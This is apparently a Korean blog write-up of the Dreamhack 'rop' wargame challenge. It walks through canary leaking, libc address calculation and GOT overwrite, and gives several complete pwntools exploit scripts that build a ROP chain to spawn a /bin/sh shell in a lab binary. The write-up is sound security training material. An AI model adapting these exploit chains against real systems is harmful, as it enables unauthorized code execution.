rop
Exploit Tech: Return Oriented Programming에서 실습하는 문제입니다.
# 문제 분석
- ROP (Return Oriented Programming)
- 리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법
- ROP 페이로드는 리턴 가젯으로 구성되며, ret 단위로 여러 코드가 연쇄적으로 실행되는 모습에서 ROP Chain이라고도 불림
- 소스코드
- 저번 문제와 달리 system 함수를 호출하지 않아 PLT에 등록되지 않으며 "/bin/sh" 문자열도 데이터 섹션에 기록되지 않음
- 따라서 system 함수를 익스플로잇에 사용하기 위해서는 함수의 주소를 직접 구해야하고 "/bin/sh" 문자열을 사용할 다른 방법을 고민해보아야 함
// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
- Checksec
- 카나리로 스택오버플로우 감지
- NX Enabled로 스택 내 실행권한 X
# Exploit
- Exploit 방법론
1. 카나리 우회
2. system 함수의 주소 계산
- system 함수는 libc.so.6에 정의되어 있으며, 해당 라이브러리에는 이 바이너리가 호출하는 read, puts, printf도 정의되어 있음
- 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, 다른 함수들과 함께 system 함수도 프로세스 메모리에 같이 적재됨
- 바이너리가 system 함수를 직접 호출하지 않아서 system 함수가 GOT에는 등록되지 않으나 read, puts, printf는 GOT에 등록되어 있음
- libc에는 여러가지 버전이 있는데 같은 libc안에서 두 데이터 사이의 거리(Offset)은 항상 같으므로 사용하는 libc 버전을 알 때, libc가 매핑된 영역의 임의 주소를 구할 수 있으면 다른 데이터의 주소를 모두 계산할 수 있음
3. "/bin/sh"
- 이 바이너리는 데이터 영역에 "bin/sh" 문자열이 없음
- 따라서 이 문자열을 임의 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함된 것을 사용해야 함
- 후자의 방법을 선택할 때 많이 사용되는 것이 libc.so.6에 포함된 "/bin/sh" 문자열임
- 해당 문자열의 주소도 system 함수의 주소를 계산하는 것 처럼 libc 영역의 임의 주소를 구하고, 그 주소로부터 거리를 더하거나 빼서 계산할 수 있음
4. GOT Overwrite
- 위의 방법을 사용하여 system 함수와 "/bin/sh" 문자열의 주소를 찾을 수 있으므로, pop rdi; ret 가젯을 활용하여 system("/bin/sh")를 호출할 수 있음
- 그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main 함수로 돌아가서 다시 버퍼오버플로우를 일으켜야 함 → 이러한 공격 패턴을 ret2main 라고 함
- 해당 커리큘럼에서는 GOT overwrite 기법을 통해 한 번에 셸을 획득할 것
- Lazy binding
- 호출할 라이브러리 함수의 주소를 프로세스에 매핑된 라이브러리에서 찾음
- 찾은 주소를 GOT에 적고, 이를 호출함
- 해당 함수를 다시 호출할 경우, GOT에 적힌 주소를 그대로 참조
- 위의 과정에서 GOT overwrite에 사용되는 부분은 마지막 부분임
- GOT에 적힌 주소를 검증하지 않고 참조하므로 GOT에 적힌 주소를 변조할 수 있게 된다면, 해당 함수가 재호출될 때 공격자가 원하는 코드가 실행되게 할 수 있음
# Exploit
- 카나리 우회
- 카나리를 우회하기 위해 카나리 값을 알아내는 코드는 다음과 같음
- buf의 위치는 rbp-0x40이며 rbp와 buf 사이에 canary가 존재하기 때문에 실제 buf의 크기는 0x38(0x40-0x8)임을 알 수 있음
- 따라서 카나리 릭을 위해서는 0x39만큼의 더미 값을 입력해주어야 함
#!/usr/bin/python3
# Name: rop.py
from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))
p = process("./rop")
e = ELF("./rop")
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
- system 함수의 주소 계산
- read 함수의 got를 읽고, read 함수와 system 함수의 offset을 이용한다면 system 함수의 주소를 계산할 수 있음
- pwntools에는 ELF.symbols라는 메소드가 정의되어 있는데, 특정 ELF에서 심볼 사이의 오프셋을 계산할 때 유용하게 사용할 수 있음
#!/usr/bin/python3
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
read_system = libc.symbols["read"]-libc.symbols["system"]
- puts와 pop rdi; ret 가젯을 사용하여 read 함수의 GOT를 읽고, 이를 이용해서 system 함수의 주소를 구하는 페이로드를 작성해야함
from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))
p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc_base", lb)
slog("system", system)
p.interactive()
- GOT Overwrite 및 "/bin/sh" 입력
- "/bin/sh" 는 덮어쓸 GOT 엔트리 뒤에 같이 입력하면 됨
- 이 바이너리에서는 입력을 위해 read 함수를 사용할 수 있음
- read 함수는 입력 스트림, 입력 버퍼, 입력 길이, 총 세 개의 인자를 필요로 함
- 함수 호출 규약에 따르면 설정해야 하는 레지스터는 rdi, rsi, rdx임
- 앞의 두 인자는 pop rdi ; ret 와 pop rsi ; pop r15 ; ret 가젯으로 쉽게 설정할 수 있음
- 하지만 마지막 rdx와 관련된 가젯은 바이너리에서 찾기 어려움
- 이 바이너리 뿐 아니라, 일반적인 바이너리에서도 rdx와 관련된 가젯은 찾기 어려움
- 위와 같은 상황에서는 libc의 코드 가젯이나, libc_csu_init 가젯을 사용하여 문제를 해결할 수 있음
- 또는 rdx의 값을 변화시키는 함수를 호출해서 값을 설정할 수도 있음
- 예를 들어 strncmp 함수는 rax로 비교의 결과를 반환하고, rdx로 두 문자열의 첫 번째 문자부터 가장 긴 부분 문자열의 길이를 반환함
- libc_csu_init 가젯에 대한 내용은 심화 커리큘럼에서 설명
- Figure 4. libc에 포함된 rdx 가젯: ROPgadget --binary /lib/x86_64-linux-gnu/libc-2.27.so | grep "pop rdx"
- 해당 실습에서는 read 함수의 GOT를 읽은 뒤 rdx 값이 매우 크게 설정되므로, rdx를 설정하는 가젯을 추가하지 않아도 됨 → 좀 더 안정적인 익스플로잇을 작성하려면 가젯을 추가해줘도 좋음
- read 함수, pop rdi ; ret , pop rsi ; pop r15 ; ret 가젯을 이용하여 read의 GOT를 system 함수의 주소로 덮고, read_got + 8에 "/bin/sh" 문자열을 쓰는 익스플로잇을 작성해볼 것
from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))
p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1
payload = b"A"*0x38 + p64(cnry) + b"B"*0x8
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00")
- 셸 획득
- read 함수의 GOT를 system 함수의 주소로 덮었으므로, system("/bin/sh")를 실행할 수 있음
- read 함수, pop rdi ; ret 가젯, "/bin/sh"의 주소 (read_got + 8)를 이용하여 셸을 획득하는 익스플로잇을 작성할 수 있음
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
p=process("./rop")
#p=remote("host3.dreamhack.games", 20788)
e=ELF("./rop")
#libc=ELF("./libc-2.27.so")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
# canary leak
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry=u64(b"\x00"+p.recvn(7))
slog("canary", cnry)
# exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x4007f3
pop_rsi_r15 = 0x4007f1
payload = b"A"*0x38 + p64(cnry)+b"B"*0x8
# puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
# read(0 read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
p.sendafter("Buf: ", payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read-libc.symbols["read"]
system = lb+libc.symbols["system"]
slog("read", read)
slog("libc_base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00")
p.interactive()
# 실행결과
- 로컬
- remote
- 드림핵 내에서 제공하는 libc 파일을 사용해야 함
# 요약
- Return Oriented Programming(ROP): 리턴 가젯을 이용하여 복잡한 실행 흐름을 구현하는 기법. 문제 상황에 맞춰 공격자가 유연하게 익스플로잇을 작성할 수 있음
- GOT overwrite: 어떤 함수의 GOT 엔트리를 덮고, 해당 함수를 재호출하여 원하는 코드를 실행시키는 공격 기법
'War Game & CTF > Dreamhack' 카테고리의 다른 글
[Dreamhack] basic_rop_x64 (2) | 2022.09.18 |
---|---|
[Dreamhack] out_of_bound (0) | 2022.09.15 |
[Dreamhack] ssp_001 (0) | 2022.09.13 |
[Dreamhack] Return to Library (0) | 2022.09.07 |
[Dreamhack] Return to Shellcode (0) | 2022.09.05 |